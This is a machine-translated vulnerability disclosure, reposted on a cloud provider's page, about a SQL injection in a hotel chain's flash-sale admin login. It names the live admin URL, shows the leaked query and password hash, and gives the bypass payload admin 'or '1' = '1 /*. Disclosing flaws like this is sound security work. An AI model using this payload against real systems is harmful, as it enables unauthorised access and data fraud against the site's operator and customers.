SQL Injection and repair due to loose filtering at the backend of hanting hotel chains

Source: Internet
Author: User

The SQL injection at the backend of hanting hotel chains allows users to bypass login restrictions and access the backend.
Problem occurs at this site. http://miaosha.htinns.com/
 
No specific information is written in the title, for fear of intrusion after the release.
 
Background login address: http://miaosha.htinns.com/admin/admin_login.php
 
Enter admin account'
A prompt is displayed after logon, as shown in figure
 
 

 
The query statement is exposed.
 
Database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'your e41d218e071ccfb2d1c99ce23906a ''at line 1]
Select * from users_admin where userid = 'admin' and pwd = 'effece41d218e071ccfb2d1c99ce23906a'
 
The focus is here
Select * from users_admin where userid = 'admin' and pwd = 'effece41d218e071ccfb2d1c99ce23906a'
Then construct the bypass
Use the account admin 'or '1' = '1 /*
The system successfully bypasses the login background, as shown below:
 
 
 
 
You have full background permissions... You can obtain all data that has been successfully killed in seconds and perform fraud on the data.
The second kill information can also be published, resulting in a crisis of trust in PR in hanting...
 
No offense. I am also a frequent visitor to hanting. I like your service attitude, that is, the network speed is too slow.
When can I increase the network speed?
 
Solution:

Filter various submissions.
Author only_guest

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.